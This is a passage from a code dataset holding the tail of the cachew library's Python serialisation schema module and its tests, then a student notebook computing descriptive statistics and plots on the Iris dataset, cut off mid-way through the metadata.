dict()\n\n\n@dataclass(**SLOTS)\nclass Schema:\n    type: Any\n\n    @abstractmethod\n    def dump(self, obj):\n        raise NotImplementedError\n\n    @abstractmethod\n    def load(self, dct):\n        raise NotImplementedError\n\n\n@dataclass(**SLOTS)\nclass SPrimitive(Schema):\n    def dump(self, obj):\n        # NOTE: returning here directly (instead of calling identity lambda) gives about 20% speedup\n        # I think custom types should have their own Schema subclass\n        return obj\n        # prim = primitives_to.get(self.type)\n        # assert prim is not None\n        # return prim(o)\n\n    def load(self, dct):\n        return dct\n        # prim = primitives_from.get(self.type)\n        # assert prim is not None\n        # return prim(d)\n\n\n@dataclass(**SLOTS)\nclass SDataclass(Schema):\n    # using list of tuples instead of dict gives about 5% speedup\n    fields: tuple[tuple[str, Schema], ...]\n\n    def dump(self, obj):\n        # TODO would be nice if we didn't create a dictionary here\n        # considering it is going to be serialized to json anyway\n        # maybe we need to yield json bits actually?\n        return {\n            # would be kinda nice if we didn't have to use getattr here\n            # but I think for dataclass this is actually the fastest way\n            # TODO for NamedTuples could just use them as tuples.. think about separating\n            k: ks.dump(getattr(obj, k))\n            for k, ks in self.fields\n        }\n\n    def load(self, dct):\n        # dict comprehension is meh, but not sure if there is a faster way?\n        # fmt: off\n        return self.type(**{\n            k: ks.load(dct[k])\n            for k, ks in self.fields\n        })\n        # fmt: on\n\n\n@dataclass(**SLOTS)\nclass SUnion(Schema):\n    # it's a bit faster to cache indixes here, gives about 15% speedup\n    args: tuple[tuple[int, Schema], ...]\n\n    def dump(self, obj):\n        # TODO could do a bit of magic here and remember the last index that worked?\n        # that way if some objects dominate the Union, the first isinstance would always work\n        for tidx, a in self.args:\n            if isinstance(obj, a.type):  # this takes quite a lot of time (sort of expected?)\n                # using lists instead of dicts gives a bit of a speedup (about 15%)\n                # so probably worth it even though a bit cryptic\n                # also could add a tag or something?\n                # NOTE: using tuple instead of list gives a tiiny speedup\n                jj = a.dump(obj)\n                return (tidx, jj)\n                # {\n                #     '__union_index__': tidx,\n                #     '__value__': jj,\n                # }\n        else:\n            assert False, \"shouldn't happen!\"\n\n    def load(self, dct):\n        # tidx = d['__union_index__']\n        # s = self.args[tidx]\n        # return s.load(d['__value__'])\n        tidx, val = dct\n        _, s = self.args[tidx]\n        return s.load(val)\n\n\n@dataclass(**SLOTS)\nclass SList(Schema):\n    arg: Schema\n\n    def dump(self, obj):\n        return tuple(self.arg.dump(i) for i in obj)\n\n    def load(self, dct):\n        return [self.arg.load(i) for i in dct]\n\n\n@dataclass(**SLOTS)\nclass STuple(Schema):\n    args: tuple[Schema, ...]\n\n    def dump(self, obj):\n        return tuple(a.dump(i) for a, i in zip(self.args, obj))\n\n    def load(self, dct):\n        return tuple(a.load(i) for a, i in zip(self.args, dct))\n\n\n@dataclass(**SLOTS)\nclass SSequence(Schema):\n    arg: Schema\n\n    def dump(self, obj):\n        return tuple(self.arg.dump(i) for i in obj)\n\n    def load(self, dct):\n        return tuple(self.arg.load(i) for i in dct)\n\n\n@dataclass(**SLOTS)\nclass SDict(Schema):\n    ft: SPrimitive\n    tt: Schema\n\n    def dump(self, obj):\n        # fmt: off\n        return {\n            k: self.tt.dump(v)\n            for k, v in obj.items()\n        }\n        # fmt: on\n\n    def load(self, dct):\n        # fmt: off\n        return {\n            k: self.tt.load(v)\n            for k, v in dct.items()\n        }\n        # fmt: on\n\n\n# TODO unify with primitives?\nJTypes = {int, str, type(None), float, bool}\n\n\ndef _exc_helper(args):\n    for a in args:\n        at = type(a)\n        if at in JTypes:\n            yield a\n        elif issubclass(at, date):\n            # TODO would be nice to restore datetime from cache too\n            # maybe generally save exception as a union? or intact and let orjson save it?\n            yield a.isoformat()\n        else:\n            yield str(a)  # not much we can do..\n\n\n@dataclass(**SLOTS)\nclass SException(Schema):\n    def dump(self, obj: Exception) -> Json:\n        return tuple(_exc_helper(obj.args))\n\n    def load(self, dct: Json):\n        return self.type(*dct)\n\n\n@dataclass(**SLOTS)\nclass SDatetime(Schema):\n    def dump(self, obj: datetime) -> Json:\n        iso = obj.isoformat()\n        tz = obj.tzinfo\n        if tz is None:\n            return (iso, None)\n\n        if isinstance(tz, pytz.BaseTzInfo):\n            zone = tz.zone\n            # should be present: https://github.com/python/typeshed/blame/968fd6d01d23470e0c8368e7ee7c43f54aaedc0e/stubs/pytz/pytz/tzinfo.pyi#L6\n            assert zone is not None, (obj, tz)\n            return (iso, zone)\n        else:\n            return (iso, None)\n\n    def load(self, dct: tuple):\n        iso, zone = dct\n        dt = datetime.fromisoformat(iso)\n        if zone is None:\n            return dt\n\n        tz = pytz.timezone(zone)\n        return dt.astimezone(tz)\n\n\n@dataclass(**SLOTS)\nclass SDate(Schema):\n    def dump(self, obj: date) -> Json:\n        return obj.isoformat()\n\n    def load(self, dct: str):\n        return date.fromisoformat(dct)\n\n\nPRIMITIVES = {\n    int,\n    str,\n    type(None),\n    float,\n    bool,\n    # if type is Any, there isn't much we can do to dump it -- just dump into json and rely on the best\n    # so in this sense it works exacly like primitives\n    Any,\n}\n\n\ndef build_schema(Type) -> Schema:\n    if Type in PRIMITIVES:\n        return SPrimitive(type=Type)\n\n    origin = get_origin(Type)\n\n    # if origin not none, it's some sort of generic type?\n    if origin is None:\n        if issubclass(Type, Exception):\n            return SException(type=Type)\n\n        if issubclass(Type, datetime):\n            return SDatetime(type=Type)\n\n        if issubclass(Type, date):\n            return SDate(type=Type)\n\n        if not (is_dataclass(Type) or is_namedtuple(Type)):\n            raise TypeNotSupported(type_=Type)\n        hints = get_type_hints(Type)\n        fields = tuple((k, build_schema(t)) for k, t in hints.items())\n        return SDataclass(\n            type=Type,\n            fields=fields,\n        )\n\n    args = get_args(Type)\n\n    if sys.version_info[:2] >= (3, 10):\n        is_uniontype = origin is types.UnionType\n    else:\n        is_uniontype = False\n\n    is_union = origin is Union or is_uniontype\n\n    if is_union:\n        return SUnion(\n            type=Type,\n            # fmt: off\n            args=tuple(\n                (tidx, build_schema(a))\n                for tidx, a in enumerate(args)\n            ),\n            # fmt: on\n        )\n\n    is_listish = origin is list\n    if is_listish:\n        (t,) = args\n        return SList(\n            type=Type,\n            arg=build_schema(t),\n        )\n\n    # hmm check for is typing.Sequence doesn't pass for some reason\n    # perhaps because it's a deprecated alias?\n    is_tuplish = origin is tuple or origin is abc.Sequence\n    if is_tuplish:\n        if origin is tuple:\n            # this is for Tuple[()], which is the way to represent empty tuple\n            # before python 3.11, get_args for that gives ((),) instead of an empty tuple () as one might expect\n            if args == ((),):\n                args = ()\n            return STuple(\n                type=Type,\n                args=tuple(build_schema(a) for a in args),\n            )\n        else:\n            (t,) = args\n            return SSequence(\n                type=Type,\n                arg=build_schema(t),\n            )\n\n    is_dictish = origin is dict\n    if is_dictish:\n        (ft, tt) = args\n        fts = build_schema(ft)\n        tts = build_schema(tt)\n        assert isinstance(fts, SPrimitive)\n        return SDict(\n            type=Type,\n            ft=fts,\n            tt=tts,\n        )\n\n    assert False, f\"unsupported: {Type} {origin} {args}\"\n\n\n######### tests\n\n\ndef _test_identity(obj, Type_, expected=None):\n    if expected is None:\n        expected = obj\n\n    m = CachewMarshall(Type_)\n\n    j = m.dump(obj)\n    obj2 = m.load(j)\n\n    # Exception's don't support equality normally, so we need to do some hacks..\n    def normalise(x):\n        if isinstance(x, Exception):\n            return (type(x), x.args)\n        if type(x) is list:  # noqa: E721\n            return [(type(i), i.args) if isinstance(i, Exception) else i for i in x]\n        return x\n\n    # ugh that doesn't work\n    # def exc_eq(s, other):\n    #     return (type(s), s.args) == (type(other), other.args)\n    # Exception.__eq__ = exc_eq\n\n    assert normalise(expected) == normalise(obj2), (expected, obj2)\n    return (j, obj2)\n\n\n# TODO customise with cattrs\ndef test_serialize_and_deserialize() -> None:\n    import pytest\n\n    helper = _test_identity\n\n    # primitives\n    helper(1, int)\n    helper('aaa', str)\n    helper(None, type(None))\n    # TODO emit other value as none type? not sure what should happen\n\n    # unions\n    helper(1, Union[str, int])\n    if sys.version_info[:2] >= (3, 10):\n        helper('aaa', str | int)\n\n    # optionals\n    helper('aaa', Optional[str])\n    helper('aaa', Union[str, None])\n    helper(None, Union[str, None])\n\n    # lists\n    helper([1, 2, 3], List[int])\n    helper([1, 2, 3], List[int])\n    helper([1, 2, 3], Sequence[int], expected=(1, 2, 3))\n    helper((1, 2, 3), Sequence[int])\n    helper((1, 2, 3), Tuple[int, int, int])\n    helper((1, 2, 3), Tuple[int, int, int])\n\n    # dicts\n    helper({'a': 'aa', 'b': 'bb'}, Dict[str, str])\n    helper({'a': None, 'b': 'bb'}, Dict[str, Optional[str]])\n\n    # compounds of simple types\n    helper(['1', 2, '3'], List[Union[str, int]])\n\n    # TODO need to add test for equivalent dataclasses\n\n    @dataclass\n    class Point:\n        x: int\n        y: int\n\n    # dataclasses\n    helper(Point(x=1, y=2), Point)\n\n    # Namedtuple\n    class NT(NamedTuple):\n        first: str\n        last: str\n\n    helper(NT(first='aaa', last='bbb'), NT)\n\n    @dataclass\n    class WithJson:\n        id: int\n        raw_data: Dict[str, Any]\n\n    # json-ish stuff\n    helper({}, Dict[str, Any])\n    helper(WithJson(id=123, raw_data=dict(payload='whatever', tags=['a', 'b', 'c'])), WithJson)\n    helper([], List[Any])\n\n    # exceptions\n    helper(RuntimeError('whatever!'), RuntimeError)\n    # fmt: off\n    helper([\n        RuntimeError('I', 'am', 'exception', 123),\n        Point(x=1, y=2),\n        Point(x=11, y=22),\n        RuntimeError('more stuff'),\n        RuntimeError(),\n    ], List[Union[RuntimeError, Point]])\n\n    exc_with_datetime     = Exception('I happenned on', datetime.fromisoformat('2021-04-03T10:11:12'))\n    exc_with_datetime_exp = Exception('I happenned on', '2021-04-03T10:11:12')\n    helper(exc_with_datetime, Exception, expected=exc_with_datetime_exp)\n    # fmt: on\n\n    # datetimes\n    tz = pytz.timezone('Europe/London')\n    dwinter = datetime.strptime('20200203 01:02:03', '%Y%m%d %H:%M:%S')\n    dsummer = datetime.strptime('20200803 01:02:03', '%Y%m%d %H:%M:%S')\n    dwinter_tz = tz.localize(dwinter)\n    dsummer_tz = tz.localize(dsummer)\n\n    dates_pytz = [\n        dwinter_tz,\n        dsummer_tz,\n    ]\n    dates = [\n        *dates_pytz,\n        dwinter,\n        dsummer,\n        dsummer.replace(tzinfo=timezone.utc),\n    ]\n    for d in dates:\n        jj, dd = helper(d, datetime)\n        assert d.tzinfo == dd.tzinfo\n\n        # test that we preserve pytz zone names\n        if d in dates_pytz:\n            assert getattr(d.tzinfo, 'zone') == getattr(dd.tzinfo, 'zone')\n\n    assert helper(dsummer_tz, datetime)[0] == ('2020-08-03T01:02:03+01:00', 'Europe/London')\n    assert helper(dwinter, datetime)[0] == ('2020-02-03T01:02:03', None)\n\n    assert helper(dwinter.date(), date)[0] == '2020-02-03'\n\n    # unsupported types\n    class NotSupported:\n        pass\n\n    with pytest.raises(RuntimeError, match=\".*NotSupported.* isn't supported by cachew\"):\n        helper([NotSupported()], List[NotSupported])\n\n    # edge cases\n    helper((), Tuple[()])\n\n\n# TODO test type aliases and such??\n", "repo_name": "karlicoss/cachew", "sub_path": "src/cachew/marshall/cachew.py", "file_name": "cachew.py", "file_ext": "py", "file_size_in_byte": 13456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 201, "dataset": "github-code", "pt": "81", "api": [{"api_name": "common.AbstractMarshall", "line_number": 34, "usage_type": "name"}, {"api_name": "common.T", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 35, "usage_type": "name"}, {"api_name": "common.T", "line_number": 35, "usage_type": "name"}, {"api_name": "common.T", "line_number": 38, "usage_type": "name"}, {"api_name": "common.Json", "line_number": 38, "usage_type": "name"}, {"api_name": "common.Json", "line_number": 41, "usage_type": "name"}, {"api_name": "common.T", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 51, "usage_type": "name"}, {"api_name": "sys.version_info", "line_number": 52, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 61, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 63, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 67, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 59, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 72, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 89, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 116, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 148, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 159, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 170, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 212, "usage_type": "argument"}, {"api_name": "common.Json", "line_number": 222, "usage_type": "name"}, {"api_name": "common.Json", "line_number": 225, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 220, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 231, "usage_type": "name"}, {"api_name": "pytz.BaseTzInfo", "line_number": 237, "usage_type": "attribute"}, {"api_name": "common.Json", "line_number": 231, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 247, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 247, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 251, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 229, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 257, "usage_type": "name"}, {"api_name": "common.Json", "line_number": 257, "usage_type": "name"}, {"api_name": "datetime.date.fromisoformat", "line_number": 261, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 261, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 255, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 272, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 277, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 278, "usage_type": "name"}, {"api_name": "typing.get_origin", "line_number": 280, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 280, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 284, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 285, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 287, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 287, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 288, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 290, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 290, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 291, "usage_type": "name"}, {"api_name": "dataclasses.is_dataclass", "line_number": 293, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 293, "usage_type": "argument"}, {"api_name": "utils.is_namedtuple", "line_number": 293, "usage_type": "call"}, {"api_name": "utils.TypeNotSupported", "line_number": 294, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 294, "usage_type": "name"}, {"api_name": "typing.get_type_hints", "line_number": 295, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 295, "usage_type": "argument"}, {"api_name": "typing.Type", "line_number": 298, "usage_type": "name"}, {"api_name": "typing.get_args", "line_number": 302, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 302, "usage_type": "argument"}, {"api_name": "sys.version_info", "line_number": 304, "usage_type": "attribute"}, {"api_name": "types.UnionType", "line_number": 305, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 309, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 313, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 326, "usage_type": "name"}, {"api_name": "collections.abc.Sequence", "line_number": 332, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 332, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 340, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 346, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 357, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 362, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 407, "usage_type": "name"}, {"api_name": "sys.version_info", "line_number": 408, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 412, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 413, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 414, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 417, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 418, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 419, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 420, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 422, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 425, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 426, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 426, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 429, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 429, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 433, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 442, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 451, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 451, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 448, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 454, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 454, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 456, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 456, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 467, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 467, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 469, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 469, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 475, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 476, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 476, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 477, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 477, "usage_type": "name"}, {"api_name": "datetime.timezone.utc", "line_number": 489, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 489, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 492, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 499, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 500, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 502, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 508, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 509, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 512, "usage_type": "name"}]}
{"seq_id": "20124172027", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <h2>Assignment No : 1</h2>\n\n# In[10]:\n\n\n# Name : Shreya Dharmadhikari\n# Roll No : 31014\n# Batch : T1 Batch Computer\n# Title : Calculate Mean, Variance, Standard Deviation, Covariance, Correlation and Standard Error.\n# Problem Statement : Compute Estimators of the main statistical measures like Mean, Variance, Standard\n#                     Deviation, Covariance, Correlation and Standard error with respect to any example.\n#                     Display graphically the distribution of samples.\n\n\n# In[11]:\n\n\nimport pandas as pd\n\nimport numpy as np\nimport matplotlib.pyplot as plt                    #import required libraries in python\nimport seaborn as sns                                  \n\n\n# In[12]:\n\n\ndf=pd.read_csv(r\"C:\\Users\\Suhas\\Desktop\\AI and ML\\Iris_dataset.csv\")   #Read CSV file\n\n\n# In[13]:\n\n\nsepal_length=df['sepal length']\nsepal_width=df['sepal width']\npetal_length=df['petal length']\npetal_width=df['petal width']\ndf_class=df['class']\n\n\n# <h3> Mean </h3>\n\n# In[14]:\n\n\nmean_sepal_length=np.mean(sepal_length)               #calculating mean and storing it in defined variable\nprint('Mean of sepal lengths :',mean_sepal_length)    #numpy.mean() function is used to compute the arithmetic mean along the specified axis.\n\n\n# In[15]:\n\n\nmean_sepal_width=np.mean(sepal_width)                 #calculating mean and storing it in defined variable\nprint('Mean of sepal widths :',mean_sepal_width)\n\n\n# In[16]:\n\n\nmean_petal_length=np.mean(petal_length)               #calculating mean and storing it in defined variable\nprint('Mean of petal lengths :',mean_petal_length)\n\n\n# In[17]:\n\n\nmean_petal_width=np.mean(petal_width)                 #calculating mean and storing it in defined variable\nprint('Mean of petal widths :',mean_petal_width)\n\n\n# In[18]:\n\n\nplt.scatter(sepal_width,sepal_length)          #predefined function for scatter plot\nplt.title('Mean sepal width')                  #title of the graph\nplt.xlabel('sepal width(in cms)')              #label for x-axis\nplt.ylabel('sepal length(in cms)')             #label for y-axis\nplt.axvline(x=mean_sepal_width,color='red',linewidth=4,linestyle='--')     #plot vertical line parallel to Y-axis with given value of X\n\n\n# In[19]:\n\n\nplt.scatter(sepal_width,sepal_length)                   #predefined function for scatter plot\nplt.title('Mean sepal length')\nplt.xlabel('sepal width(in cms)')\nplt.ylabel('sepal length(in cms)')\nplt.axhline(y=mean_sepal_length,color='red',linewidth=4,linestyle='--')\n\n\n# In[20]:\n\n\nplt.scatter(petal_width,petal_length)                   #predefined function for scatter plot\nplt.title('Mean petal width')\nplt.xlabel('petal width(in cms)')\nplt.ylabel('petal length(in cms)')\nplt.axvline(x=mean_petal_width,color='yellow',linewidth=4,linestyle='--')\n\n\n# In[21]:\n\n\nplt.scatter(petal_width,petal_length)               #predefined function for scatter plot\nplt.title('Mean petal length')\nplt.xlabel('petal width(in cms)')\nplt.ylabel('petal length(in cms)')\nplt.axhline(y=mean_petal_length,color='yellow',linewidth=4,linestyle='--')\n\n\n# <h3> Variance </h3>\n\n# In[22]:\n\n\nvar_sw=np.var(sepal_width)                           #calculating variance and storing it in defined variable\nprint('Variance of sepal width :',var_sw)            #We can find variance of specfic column using numpy.var() method\nvar_sl=np.var(sepal_length)                          #calculating variance and storing it in defined variable\nprint('Variance of sepal length :',var_sl)\n\n\n# In[23]:\n\n\nplt.scatter(sepal_width,sepal_length)               #predefined function for scatter plot\nplt.title('Variance of sepal width')\nplt.xlabel('sepal width(in cms)')\nplt.ylabel('sepal length(in cms)')\nplt.axvline(x=var_sw,color='green',linewidth=3)\n\n\n# In[24]:\n\n\nplt.scatter(sepal_width,sepal_length)                 #predefined function for scatter plot\nplt.title('Variance of sepal length')\nplt.xlabel('sepal width(in cms)')\nplt.ylabel('sepal length(in cms)')\nplt.axhline(y=var_sl,color='green',linewidth=3)\n\n\n# <h3> Standard deviation </h3>\n\n# In[25]:\n\n\nsd_sw=np.std(sepal_width)                              #calculating standard deviation and storing it in defined variable\nprint('Standard deviation of sepal width:',sd_sw)      #Standard deviation can be calculated using numpy.std() function\nsd_pw=np.std(petal_width)                              #calculating standard deviation and storing it in defined variable\nprint('Standard deviation of petal width:',sd_pw)\n\n\n# In[26]:\n\n\nplt.title('Standard deviation of sepal width')\nplt.scatter(sepal_width,sepal_length)\nplt.xlabel('sepal width(in cms)')\nplt.ylabel('sepal length(in cms)')\nplt.axvline(x=sd_sw,color='violet',linewidth=4,linestyle='-')\n\n\n# In[27]:\n\n\nplt.title('Standard deviation of petal width')\nplt.scatter(petal_width,petal_length)                       #predefined function for scatter plot               \nplt.xlabel('petal width(in cms)')\nplt.ylabel('petal length(in cms)')\nplt.axvline(x=sd_pw,color='violet',linewidth=4,linestyle='-')\n\n\n# <h3> Covariance </h3>\n\n# In[28]:\n\n\ncov_sepal=np.cov(sepal_width,sepal_length)                  #calculating covariance and storing it in defined variable\nprint('covariance matrix between sepal width and sepal length is :',cov_sepal)\n\n\n# In[29]:\n\n\ncov_sw=sepal_width.cov(sepal_length)                        #calculating covariance and storing it in defined variable\nprint('Covariance between sepal width and sepal length is :',cov_sw)\n\n\n# In[30]:\n\n\nnp.cov(sepal_width)\n\n\n# In[31]:\n\n\nnp.cov(sepal_length)\n\n\n# <h3> Correlation </h3>\n\n# In[32]:\n\n\ncor_s=sepal_width.corr(sepal_length)                       #calculating correlation and storing it in defined variable\nprint('Correlation coefficient between sepal width and sepal length :',cor_s)\n\n\n# In[33]:\n\n\ncor_p=petal_width.corr(petal_length)                       #calculating correlation and storing it in defined variable\nprint('Correlation coefficient between petal width and petal length :',cor_p)\n\n\n# <h3> Standard error </h3>\n\n# In[34]:\n\n\nfrom scipy.stats import sem\nss=sem(sepal_width)                                       #calculating standard error and storing it in defined variable\nprint('Standard error of standard mean of sepal width :',ss)\n\n\n# In[35]:\n\n\nfrom scipy.stats import sem\nsl=sem(petal_length)\nprint('Standard error of standard mean of petal length :',sl)\n\n\n# <h3>Graphical distribution of sample</h3>\n\n# In[36]:\n\n\nsns.FacetGrid(df, hue=\"class\",size=5).map(plt.scatter,\"sepal width\",\"sepal length\").add_legend();\n\n\n# In[37]:\n\n\nsns.FacetGrid(df, hue=\"class\",size=5).map(plt.scatter,\"petal width\",\"petal length\").add_legend();\n\n", "repo_name": "shreyadharmadhikari/AI-ML-honours", "sub_path": "Shreya_Assignment1.py", "file_name": "Shreya_Assignment1.py", "file_ext": "py", "file_size_in_byte": 6597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.var", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": 